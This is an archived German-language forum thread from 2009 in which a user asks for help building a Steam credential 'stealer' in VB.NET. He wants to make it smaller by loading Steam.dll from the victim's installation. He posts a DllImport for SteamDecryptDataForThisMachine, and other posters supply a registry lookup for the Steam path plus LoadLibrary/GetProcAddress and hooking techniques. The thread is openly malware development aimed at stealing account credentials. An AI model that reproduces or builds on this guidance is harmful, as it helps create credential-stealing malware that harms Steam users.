PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [VB.NET] Wie groß Datei & DLL in anderem Ordner



hackerking
13.06.2009, 19:20
Jo Hey Leute. Ich hätte mal so ein paar Fragen:

Als erstes, wie groß ein stealer maximal so sein sollte...

als zweites, ob ich i-wie die z. B. steamDLL wegglassen kann und einfach prüfen kann ob sie exestiert (z. B. in C:\Program Files\Steam\Steam.dll) und dann von daraus auf diese dll zugreifen.. weil sonst ist der stealer ganze 3 mb fetter :(

DizzY_D
13.06.2009, 19:36
Zu 1.: So klein wie möglich ;)

2:
Natürlich geht das. Denn wenn Steam installiert ist, ist auch die DLL vorhanden. Du kannst dann die Funktion ganz normal vom Pfad dieser DLL aufrufen.

hackerking
13.06.2009, 19:38
Das Problem ist ja das ich feste Strings benutzen muss. (Also für Subs.) Ich kann den Dll aufruf nicht ändern... also den pfad...
Ich mach es ja so:


<DllImport("Steam.dll", CallingConvention:=CallingConvention.Cdecl)> _
Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
End Function

DizzY_D
13.06.2009, 19:46
Mit .NET kenn ich mich jetzt nicht aus und ich denke auch nicht, dass man damit Funktionen per Pointer aufrufen kann. Sonst könntest du es mit LoadLibrary und GetProcAddress machen.

Sawyer
13.06.2009, 20:25
als zweites, ob ich i-wie die z. B. steamDLL wegglassen kann und einfach prüfen kann ob sie exestiert (z. B. in C:\Program Files\Steam\Steam.dll) und dann von daraus auf diese dll zugreifen.. weil sonst ist der stealer ganze 3 mb fetter
If My.Computer.FileSystem.FileExists(My.Computer.Regi stry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam", "InstallPath", String.Empty) & "\Steam.dll") = True Then
' Datei ist Vorhanden
End If

MfG

hackerking
13.06.2009, 20:56
Wofür soll das jetzt gut sein?^^

Sawyer
13.06.2009, 21:01
Wofür soll das jetzt gut sein?^^

:rolleyes: Du hast gefragt wie man Prüfen kann ob die Steam.dll auf dem System vorhanden ist , hier ist die Lösung^^

hackerking
13.06.2009, 21:08
Das kann ich auch^^

und dann von daraus auf diese dll zugreifen,
Das kann ich nich xD

Sawyer
13.06.2009, 21:17
Das hier sieht vielversprechend aus zur Lösung deines Problems :) http://www.microsoft.com/communities/newsgroups/en-us/default.aspx?dg=microsoft.public.de.german.entwick ler.dotnet.csharp&tid=3b7cd072-eab6-451c-b0c9-c08b9fbebe24&cat=&lang=&cr=&sloc=&p=1

MfG

DizzY_D
13.06.2009, 21:22
Ich hatte mit diesem Problem auch schon unter VB6 zu kämpfen und ich hatte eine Idee, wie man vorgehen könnte um Funktionspointer aufrufen zu können. Keine Ahung ob es funtzt, da ich es noch nicht getestet habe, aber auf Anhieb fällt mir kein Fehler auf deswegen poste ich sie einfach mal in der Hoffnung, dass du es gebrauchen kannst:

1. Funktionspointer der aufzurufenden Funktion holen mit GetProcAddress und LoadLibraryA
2. API, die nicht von Programm aufgerufen wird, auf den Funktionspointer umleiten (Hook)
3. Gehookte API im Programm mit der Parameteranzahl und dem Parametertyp der gewünschten Zielfunktion deklarieren

Nun müsstest du die Funktion komfortabel aus dem Programm aufrufen können. Denn immer wenn du die Funktion im Programm aufrufst, wird die Funktion auf die gewünschte Zielfunktion umgeleitet (in deinem Fall eine Funktion aus der Steam.dll)

Hoffentlich hab ich keinen Denkfehler gemacht ;)

Ups da war der Papst wohl schneller ;). Ich denke seine Lösung wird komfortabler sein xD

hackerking
13.06.2009, 21:32
Ok danke an euch.
Ich werd mal beide sachen angucken..